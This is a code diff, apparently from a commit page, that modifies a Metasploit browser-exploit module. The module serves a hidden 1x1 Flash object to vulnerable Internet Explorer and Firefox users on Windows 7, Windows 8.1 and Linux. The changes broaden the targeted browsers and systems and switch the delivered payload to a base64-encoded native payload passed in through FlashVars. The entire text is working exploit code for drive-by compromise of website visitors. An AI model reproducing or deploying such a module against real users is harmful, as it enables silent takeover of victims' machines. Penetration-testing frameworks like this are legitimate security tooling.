8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
9
Rank = NormalRanking
10
10
11
- include Msf ::Exploit ::Powershell
12
11
include Msf ::Exploit ::Remote ::BrowserExploitServer
13
12
14
13
def initialize ( info = { } )
@@ -40,20 +39,21 @@ def initialize(info={})
40
39
{
41
40
'DisableNops' => true
42
41
} ,
43
- 'Platform' => [ 'win' , 'unix ' ] ,
44
- 'Arch' => [ ARCH_X86 , ARCH_CMD ] ,
42
+ 'Platform' => [ 'win' , 'linux ' ] ,
43
+ 'Arch' => [ ARCH_X86 ] ,
45
44
'BrowserRequirements' =>
46
45
{
47
46
:source => /script|headers/i ,
48
47
:arch => ARCH_X86 ,
49
48
:os_name => lambda do |os |
50
49
os =~ OperatingSystems ::Match ::LINUX ||
51
- os =~ OperatingSystems ::Match ::WINDOWS_7
50
+ os =~ OperatingSystems ::Match ::WINDOWS_7 ||
51
+ os =~ OperatingSystems ::Match ::WINDOWS_81
52
52
end ,
53
53
:ua_name => lambda do |ua |
54
54
case target . name
55
55
when 'Windows'
56
- return true if ua == Msf ::HttpClients ::IE
56
+ return true if [ Msf ::HttpClients ::IE , Msf :: HttpClients :: FF ] . include? ( ua )
57
57
when 'Linux'
58
58
return true if ua == Msf ::HttpClients ::FF
59
59
end
@@ -75,14 +75,12 @@ def initialize(info={})
75
75
[
76
76
[ 'Windows' ,
77
77
{
78
- 'Platform' => 'win' ,
79
- 'Arch' => ARCH_X86
78
+ 'Platform' => 'win'
80
79
}
81
80
] ,
82
81
[ 'Linux' ,
83
82
{
84
- 'Platform' => 'unix' ,
85
- 'Arch' => ARCH_CMD
83
+ 'Platform' => 'linux'
86
84
}
87
85
]
88
86
] ,
@@ -112,15 +110,13 @@ def on_request_exploit(cli, request, target_info)
112
110
113
111
def exploit_template ( cli , target_info )
114
112
swf_random = "#{ rand_text_alpha ( 4 + rand ( 3 ) ) } .swf"
113
+ target_payload = get_payload ( cli , target_info )
114
+ b64_payload = Rex ::Text . encode_base64 ( target_payload )
115
+ os_name = target_info [ :os_name ]
115
116
116
117
if target . name =~ /Windows/
117
- target_payload = get_payload ( cli , target_info )
118
- psh_payload = cmd_psh_payload ( target_payload , 'x86' , { remove_comspec : true } )
119
- b64_payload = Rex ::Text . encode_base64 ( psh_payload )
120
118
platform_id = 'win'
121
119
elsif target . name =~ /Linux/
122
- target_payload = get_payload ( cli , target_info . merge ( arch : ARCH_CMD ) )
123
- b64_payload = Rex ::Text . encode_base64 ( target_payload )
124
120
platform_id = 'linux'
125
121
end
126
122
@@ -129,9 +125,9 @@ def exploit_template(cli, target_info)
129
125
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
130
126
<param name="movie" value="<%=swf_random%>" />
131
127
<param name="allowScriptAccess" value="always" />
132
- <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
128
+ <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%> " />
133
129
<param name="Play" value="true" />
134
- <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
130
+ <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%> " Play="true"/>
135
131
</object>
136
132
</body>
137
133
</html>
0 commit comments